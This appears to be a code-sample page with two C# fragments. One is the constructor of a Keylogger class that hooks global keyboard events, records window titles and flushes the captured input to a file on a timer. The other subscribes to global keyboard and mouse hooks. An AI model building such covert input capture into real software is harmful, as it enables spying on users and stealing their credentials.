コード例 #1
0
        public Keylogger(double flushInterval)
        {
            Instance         = this;
            _lastWindowTitle = string.Empty;
            _logFileBuffer   = new StringBuilder();

            Subscribe(AnaHook.GlobalEvents());

            _timerFlush = new Timer {
                Interval = flushInterval
            };
            _timerFlush.Elapsed += timerFlush_Elapsed;
            _timerFlush.Start();

            WriteFile();
        }
コード例 #2
0
        private void SubscribeEvents()
        {
            if (PlatformYardımcısı.MonodaÇalışıyor)
            {
                KeyDown += OnKeyDown;
                KeyUp   += OnKeyUp;
            }
            else
            {
                _keyboardHook          = AnaHook.GlobalEvents();
                _keyboardHook.KeyDown += OnKeyDown;
                _keyboardHook.KeyUp   += OnKeyUp;

                _mouseHook             = AnaHook.AppEvents();
                _mouseHook.MouseWheel += OnMouseWheelMove;
            }
        }